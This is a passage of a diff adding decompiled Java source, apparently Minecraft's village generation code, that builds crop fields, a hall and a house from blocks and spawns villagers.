+        func_175811_a(worldIn, Blocks.ladder.getStateFromMeta(var4), 3, var5, 3, p_74875_3_);
+      }
+      
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 2, 1, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 2, 2, 0, p_74875_3_);
+      func_175810_a(worldIn, p_74875_3_, p_74875_2_, 2, 1, 0, EnumFacing.getHorizontal(getMetadataWithOffset(Blocks.oak_door, 1)));
+      
+      if ((func_175807_a(worldIn, 2, 0, -1, p_74875_3_).getBlock().getMaterial() == Material.air) && (func_175807_a(worldIn, 2, -1, -1, p_74875_3_).getBlock().getMaterial() != Material.air))
+      {
+        func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.stone_stairs, 3)), 2, 0, -1, p_74875_3_);
+      }
+      
+      for (var5 = 0; var5 < 9; var5++)
+      {
+        for (int var6 = 0; var6 < 5; var6++)
+        {
+          clearCurrentPositionBlocksUpwards(worldIn, var6, 12, var5, p_74875_3_);
+          func_175808_b(worldIn, Blocks.cobblestone.getDefaultState(), var6, -1, var5, p_74875_3_);
+        }
+      }
+      
+      spawnVillagers(worldIn, p_74875_3_, 2, 1, 2, 1);
+      return true;
+    }
+    
+    protected int func_180779_c(int p_180779_1_, int p_180779_2_)
+    {
+      return 2;
+    }
+  }
+  
+  public static class Field1 extends StructureVillagePieces.Village
+  {
+    private Block cropTypeA;
+    private Block cropTypeB;
+    private Block cropTypeC;
+    private Block cropTypeD;
+    private static final String __OBFID = "CL_00000518";
+    
+    public Field1() {}
+    
+    public Field1(StructureVillagePieces.Start p_i45570_1_, int p_i45570_2_, Random p_i45570_3_, StructureBoundingBox p_i45570_4_, EnumFacing p_i45570_5_)
+    {
+      super(p_i45570_2_);
+      coordBaseMode = p_i45570_5_;
+      boundingBox = p_i45570_4_;
+      cropTypeA = func_151559_a(p_i45570_3_);
+      cropTypeB = func_151559_a(p_i45570_3_);
+      cropTypeC = func_151559_a(p_i45570_3_);
+      cropTypeD = func_151559_a(p_i45570_3_);
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setInteger("CA", Block.blockRegistry.getIDForObject(cropTypeA));
+      p_143012_1_.setInteger("CB", Block.blockRegistry.getIDForObject(cropTypeB));
+      p_143012_1_.setInteger("CC", Block.blockRegistry.getIDForObject(cropTypeC));
+      p_143012_1_.setInteger("CD", Block.blockRegistry.getIDForObject(cropTypeD));
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      cropTypeA = Block.getBlockById(p_143011_1_.getInteger("CA"));
+      cropTypeB = Block.getBlockById(p_143011_1_.getInteger("CB"));
+      cropTypeC = Block.getBlockById(p_143011_1_.getInteger("CC"));
+      cropTypeD = Block.getBlockById(p_143011_1_.getInteger("CD"));
+    }
+    
+    private Block func_151559_a(Random p_151559_1_)
+    {
+      switch (p_151559_1_.nextInt(5))
+      {
+      case 0: 
+        return Blocks.carrots;
+      
+      case 1: 
+        return Blocks.potatoes;
+      }
+      
+      return Blocks.wheat;
+    }
+    
+
+    public static Field1 func_175851_a(StructureVillagePieces.Start p_175851_0_, List p_175851_1_, Random p_175851_2_, int p_175851_3_, int p_175851_4_, int p_175851_5_, EnumFacing p_175851_6_, int p_175851_7_)
+    {
+      StructureBoundingBox var8 = StructureBoundingBox.func_175897_a(p_175851_3_, p_175851_4_, p_175851_5_, 0, 0, 0, 13, 4, 9, p_175851_6_);
+      return (canVillageGoDeeper(var8)) && (StructureComponent.findIntersecting(p_175851_1_, var8) == null) ? new Field1(p_175851_0_, p_175851_7_, p_175851_2_, var8, p_175851_6_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (field_143015_k < 0)
+      {
+        field_143015_k = getAverageGroundLevel(worldIn, p_74875_3_);
+        
+        if (field_143015_k < 0)
+        {
+          return true;
+        }
+        
+        boundingBox.offset(0, field_143015_k - boundingBox.maxY + 4 - 1, 0);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 0, 12, 4, 8, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 1, 2, 0, 7, Blocks.farmland.getDefaultState(), Blocks.farmland.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 0, 1, 5, 0, 7, Blocks.farmland.getDefaultState(), Blocks.farmland.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 7, 0, 1, 8, 0, 7, Blocks.farmland.getDefaultState(), Blocks.farmland.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 10, 0, 1, 11, 0, 7, Blocks.farmland.getDefaultState(), Blocks.farmland.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 0, 0, 8, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 0, 0, 6, 0, 8, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 12, 0, 0, 12, 0, 8, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 0, 11, 0, 0, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 8, 11, 0, 8, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 3, 0, 1, 3, 0, 7, Blocks.water.getDefaultState(), Blocks.water.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 9, 0, 1, 9, 0, 7, Blocks.water.getDefaultState(), Blocks.water.getDefaultState(), false);
+      
+
+      for (int var4 = 1; var4 <= 7; var4++)
+      {
+        func_175811_a(worldIn, cropTypeA.getStateFromMeta(MathHelper.getRandomIntegerInRange(p_74875_2_, 2, 7)), 1, 1, var4, p_74875_3_);
+        func_175811_a(worldIn, cropTypeA.getStateFromMeta(MathHelper.getRandomIntegerInRange(p_74875_2_, 2, 7)), 2, 1, var4, p_74875_3_);
+        func_175811_a(worldIn, cropTypeB.getStateFromMeta(MathHelper.getRandomIntegerInRange(p_74875_2_, 2, 7)), 4, 1, var4, p_74875_3_);
+        func_175811_a(worldIn, cropTypeB.getStateFromMeta(MathHelper.getRandomIntegerInRange(p_74875_2_, 2, 7)), 5, 1, var4, p_74875_3_);
+        func_175811_a(worldIn, cropTypeC.getStateFromMeta(MathHelper.getRandomIntegerInRange(p_74875_2_, 2, 7)), 7, 1, var4, p_74875_3_);
+        func_175811_a(worldIn, cropTypeC.getStateFromMeta(MathHelper.getRandomIntegerInRange(p_74875_2_, 2, 7)), 8, 1, var4, p_74875_3_);
+        func_175811_a(worldIn, cropTypeD.getStateFromMeta(MathHelper.getRandomIntegerInRange(p_74875_2_, 2, 7)), 10, 1, var4, p_74875_3_);
+        func_175811_a(worldIn, cropTypeD.getStateFromMeta(MathHelper.getRandomIntegerInRange(p_74875_2_, 2, 7)), 11, 1, var4, p_74875_3_);
+      }
+      
+      for (var4 = 0; var4 < 9; var4++)
+      {
+        for (int var5 = 0; var5 < 13; var5++)
+        {
+          clearCurrentPositionBlocksUpwards(worldIn, var5, 4, var4, p_74875_3_);
+          func_175808_b(worldIn, Blocks.dirt.getDefaultState(), var5, -1, var4, p_74875_3_);
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Field2 extends StructureVillagePieces.Village
+  {
+    private Block cropTypeA;
+    private Block cropTypeB;
+    private static final String __OBFID = "CL_00000519";
+    
+    public Field2() {}
+    
+    public Field2(StructureVillagePieces.Start p_i45569_1_, int p_i45569_2_, Random p_i45569_3_, StructureBoundingBox p_i45569_4_, EnumFacing p_i45569_5_)
+    {
+      super(p_i45569_2_);
+      coordBaseMode = p_i45569_5_;
+      boundingBox = p_i45569_4_;
+      cropTypeA = func_151560_a(p_i45569_3_);
+      cropTypeB = func_151560_a(p_i45569_3_);
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setInteger("CA", Block.blockRegistry.getIDForObject(cropTypeA));
+      p_143012_1_.setInteger("CB", Block.blockRegistry.getIDForObject(cropTypeB));
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      cropTypeA = Block.getBlockById(p_143011_1_.getInteger("CA"));
+      cropTypeB = Block.getBlockById(p_143011_1_.getInteger("CB"));
+    }
+    
+    private Block func_151560_a(Random p_151560_1_)
+    {
+      switch (p_151560_1_.nextInt(5))
+      {
+      case 0: 
+        return Blocks.carrots;
+      
+      case 1: 
+        return Blocks.potatoes;
+      }
+      
+      return Blocks.wheat;
+    }
+    
+
+    public static Field2 func_175852_a(StructureVillagePieces.Start p_175852_0_, List p_175852_1_, Random p_175852_2_, int p_175852_3_, int p_175852_4_, int p_175852_5_, EnumFacing p_175852_6_, int p_175852_7_)
+    {
+      StructureBoundingBox var8 = StructureBoundingBox.func_175897_a(p_175852_3_, p_175852_4_, p_175852_5_, 0, 0, 0, 7, 4, 9, p_175852_6_);
+      return (canVillageGoDeeper(var8)) && (StructureComponent.findIntersecting(p_175852_1_, var8) == null) ? new Field2(p_175852_0_, p_175852_7_, p_175852_2_, var8, p_175852_6_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (field_143015_k < 0)
+      {
+        field_143015_k = getAverageGroundLevel(worldIn, p_74875_3_);
+        
+        if (field_143015_k < 0)
+        {
+          return true;
+        }
+        
+        boundingBox.offset(0, field_143015_k - boundingBox.maxY + 4 - 1, 0);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 0, 6, 4, 8, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 1, 2, 0, 7, Blocks.farmland.getDefaultState(), Blocks.farmland.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 0, 1, 5, 0, 7, Blocks.farmland.getDefaultState(), Blocks.farmland.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 0, 0, 8, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 0, 0, 6, 0, 8, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 0, 5, 0, 0, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 8, 5, 0, 8, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 3, 0, 1, 3, 0, 7, Blocks.water.getDefaultState(), Blocks.water.getDefaultState(), false);
+      
+
+      for (int var4 = 1; var4 <= 7; var4++)
+      {
+        func_175811_a(worldIn, cropTypeA.getStateFromMeta(MathHelper.getRandomIntegerInRange(p_74875_2_, 2, 7)), 1, 1, var4, p_74875_3_);
+        func_175811_a(worldIn, cropTypeA.getStateFromMeta(MathHelper.getRandomIntegerInRange(p_74875_2_, 2, 7)), 2, 1, var4, p_74875_3_);
+        func_175811_a(worldIn, cropTypeB.getStateFromMeta(MathHelper.getRandomIntegerInRange(p_74875_2_, 2, 7)), 4, 1, var4, p_74875_3_);
+        func_175811_a(worldIn, cropTypeB.getStateFromMeta(MathHelper.getRandomIntegerInRange(p_74875_2_, 2, 7)), 5, 1, var4, p_74875_3_);
+      }
+      
+      for (var4 = 0; var4 < 9; var4++)
+      {
+        for (int var5 = 0; var5 < 7; var5++)
+        {
+          clearCurrentPositionBlocksUpwards(worldIn, var5, 4, var4, p_74875_3_);
+          func_175808_b(worldIn, Blocks.dirt.getDefaultState(), var5, -1, var4, p_74875_3_);
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Hall extends StructureVillagePieces.Village
+  {
+    private static final String __OBFID = "CL_00000522";
+    
+    public Hall() {}
+    
+    public Hall(StructureVillagePieces.Start p_i45567_1_, int p_i45567_2_, Random p_i45567_3_, StructureBoundingBox p_i45567_4_, EnumFacing p_i45567_5_)
+    {
+      super(p_i45567_2_);
+      coordBaseMode = p_i45567_5_;
+      boundingBox = p_i45567_4_;
+    }
+    
+    public static Hall func_175857_a(StructureVillagePieces.Start p_175857_0_, List p_175857_1_, Random p_175857_2_, int p_175857_3_, int p_175857_4_, int p_175857_5_, EnumFacing p_175857_6_, int p_175857_7_)
+    {
+      StructureBoundingBox var8 = StructureBoundingBox.func_175897_a(p_175857_3_, p_175857_4_, p_175857_5_, 0, 0, 0, 9, 7, 11, p_175857_6_);
+      return (canVillageGoDeeper(var8)) && (StructureComponent.findIntersecting(p_175857_1_, var8) == null) ? new Hall(p_175857_0_, p_175857_7_, p_175857_2_, var8, p_175857_6_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (field_143015_k < 0)
+      {
+        field_143015_k = getAverageGroundLevel(worldIn, p_74875_3_);
+        
+        if (field_143015_k < 0)
+        {
+          return true;
+        }
+        
+        boundingBox.offset(0, field_143015_k - boundingBox.maxY + 7 - 1, 0);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 1, 7, 4, 4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 1, 6, 8, 4, 10, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 0, 6, 8, 0, 10, Blocks.dirt.getDefaultState(), Blocks.dirt.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 6, 0, 6, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 2, 1, 6, 2, 1, 10, Blocks.oak_fence.getDefaultState(), Blocks.oak_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 1, 6, 8, 1, 10, Blocks.oak_fence.getDefaultState(), Blocks.oak_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 3, 1, 10, 7, 1, 10, Blocks.oak_fence.getDefaultState(), Blocks.oak_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 1, 7, 0, 4, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 0, 3, 5, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 0, 0, 8, 3, 5, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 0, 7, 1, 0, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 5, 7, 1, 5, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 0, 7, 3, 0, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 5, 7, 3, 5, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 4, 1, 8, 4, 1, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 4, 4, 8, 4, 4, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 5, 2, 8, 5, 3, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 0, 4, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 0, 4, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 8, 4, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 8, 4, 3, p_74875_3_);
+      int var4 = getMetadataWithOffset(Blocks.oak_stairs, 3);
+      int var5 = getMetadataWithOffset(Blocks.oak_stairs, 2);
+      
+
+
+      for (int var6 = -1; var6 <= 2; var6++)
+      {
+        for (int var7 = 0; var7 <= 8; var7++)
+        {
+          func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(var4), var7, 4 + var6, var6, p_74875_3_);
+          func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(var5), var7, 4 + var6, 5 - var6, p_74875_3_);
+        }
+      }
+      
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 0, 2, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 0, 2, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 8, 2, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 8, 2, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 2, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 8, 2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 8, 2, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 2, 2, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 3, 2, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 5, 2, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 6, 2, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 2, 1, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.wooden_pressure_plate.getDefaultState(), 2, 2, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 1, 1, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.oak_stairs, 3)), 2, 1, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.oak_stairs, 1)), 1, 1, 3, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 5, 0, 1, 7, 0, 3, Blocks.double_stone_slab.getDefaultState(), Blocks.double_stone_slab.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.double_stone_slab.getDefaultState(), 6, 1, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.double_stone_slab.getDefaultState(), 6, 1, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 2, 1, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 2, 2, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.torch.getDefaultState().withProperty(BlockTorch.FACING_PROP, coordBaseMode), 2, 3, 1, p_74875_3_);
+      func_175810_a(worldIn, p_74875_3_, p_74875_2_, 2, 1, 0, EnumFacing.getHorizontal(getMetadataWithOffset(Blocks.oak_door, 1)));
+      
+      if ((func_175807_a(worldIn, 2, 0, -1, p_74875_3_).getBlock().getMaterial() == Material.air) && (func_175807_a(worldIn, 2, -1, -1, p_74875_3_).getBlock().getMaterial() != Material.air))
+      {
+        func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.stone_stairs, 3)), 2, 0, -1, p_74875_3_);
+      }
+      
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 6, 1, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 6, 2, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.torch.getDefaultState().withProperty(BlockTorch.FACING_PROP, coordBaseMode.getOpposite()), 6, 3, 4, p_74875_3_);
+      func_175810_a(worldIn, p_74875_3_, p_74875_2_, 6, 1, 5, EnumFacing.getHorizontal(getMetadataWithOffset(Blocks.oak_door, 1)));
+      
+      for (var6 = 0; var6 < 5; var6++)
+      {
+        for (int var7 = 0; var7 < 9; var7++)
+        {
+          clearCurrentPositionBlocksUpwards(worldIn, var7, 7, var6, p_74875_3_);
+          func_175808_b(worldIn, Blocks.cobblestone.getDefaultState(), var7, -1, var6, p_74875_3_);
+        }
+      }
+      
+      spawnVillagers(worldIn, p_74875_3_, 4, 1, 2, 2);
+      return true;
+    }
+    
+    protected int func_180779_c(int p_180779_1_, int p_180779_2_)
+    {
+      return p_180779_1_ == 0 ? 4 : super.func_180779_c(p_180779_1_, p_180779_2_);
+    }
+  }
+  
+  public static class House1 extends StructureVillagePieces.Village
+  {
+    private static final String __OBFID = "CL_00000517";
+    
+    public House1() {}
+    
+    public House1(StructureVillagePieces.Start p_i45571_1_, int p_i45571_2_, Random p_i45571_3_, StructureBoundingBox p_i45571_4_, EnumFacing p_i45571_5_)
+    {
+      super(p_i45571_2_);
+      coordBaseMode = p_i45571_5_;
+      boundingBox = p_i45571_4_;
+    }
+    
+    public static House1 func_175850_a(StructureVillagePieces.Start p_175850_0_, List p_175850_1_, Random p_175850_2_, int p_175850_3_, int p_175850_4_, int p_175850_5_, EnumFacing p_175850_6_, int p_175850_7_)
+    {
+      StructureBoundingBox var8 = StructureBoundingBox.func_175897_a(p_175850_3_, p_175850_4_, p_175850_5_, 0, 0, 0, 9, 9, 6, p_175850_6_);
+      return (canVillageGoDeeper(var8)) && (StructureComponent.findIntersecting(p_175850_1_, var8) == null) ? new House1(p_175850_0_, p_175850_7_, p_175850_2_, var8, p_175850_6_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (field_143015_k < 0)
+      {
+        field_143015_k = getAverageGroundLevel(worldIn, p_74875_3_);
+        
+        if (field_143015_k < 0)
+        {
+          return true;
+        }
+        
+        boundingBox.offset(0, field_143015_k - boundingBox.maxY + 9 - 1, 0);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 1, 7, 5, 4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 8, 0, 5, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 5, 0, 8, 5, 5, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 6, 1, 8, 6, 4, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 7, 2, 8, 7, 3, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      int var4 = getMetadataWithOffset(Blocks.oak_stairs, 3);
+      int var5 = getMetadataWithOffset(Blocks.oak_stairs, 2);
+      
+
+
+      for (int var6 = -1; var6 <= 2; var6++)
+      {
+        for (int var7 = 0; var7 <= 8; var7++)
+        {
+          func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(var4), var7, 6 + var6, var6, p_74875_3_);
+          func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(var5), var7, 6 + var6, 5 - var6, p_74875_3_);
+        }
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 0, 0, 1, 5, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 5, 8, 1, 5, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 1, 0, 8, 1, 4, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 1, 0, 7, 1, 0, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 0, 4, 0, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 5, 0, 4, 5, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 2, 5, 8, 4, 5, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 2, 0, 8, 4, 0, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 1, 0, 4, 4, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 5, 7, 4, 5, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 2, 1, 8, 4, 4, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 0, 7, 4, 0, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 4, 2, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 5, 2, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 6, 2, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 4, 3, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 5, 3, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 6, 3, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 2, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 3, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 3, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 8, 2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 8, 2, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 8, 3, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 8, 3, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 2, 2, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 3, 2, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 5, 2, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 6, 2, 5, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 1, 4, 1, 7, 4, 1, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 4, 4, 7, 4, 4, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 3, 4, 7, 3, 4, Blocks.bookshelf.getDefaultState(), Blocks.bookshelf.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 7, 1, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.oak_stairs, 0)), 7, 1, 3, p_74875_3_);
+      var6 = getMetadataWithOffset(Blocks.oak_stairs, 3);
+      func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(var6), 6, 1, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(var6), 5, 1, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(var6), 4, 1, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(var6), 3, 1, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 6, 1, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.wooden_pressure_plate.getDefaultState(), 6, 2, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 4, 1, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.wooden_pressure_plate.getDefaultState(), 4, 2, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.crafting_table.getDefaultState(), 7, 1, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 1, 1, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 1, 2, 0, p_74875_3_);
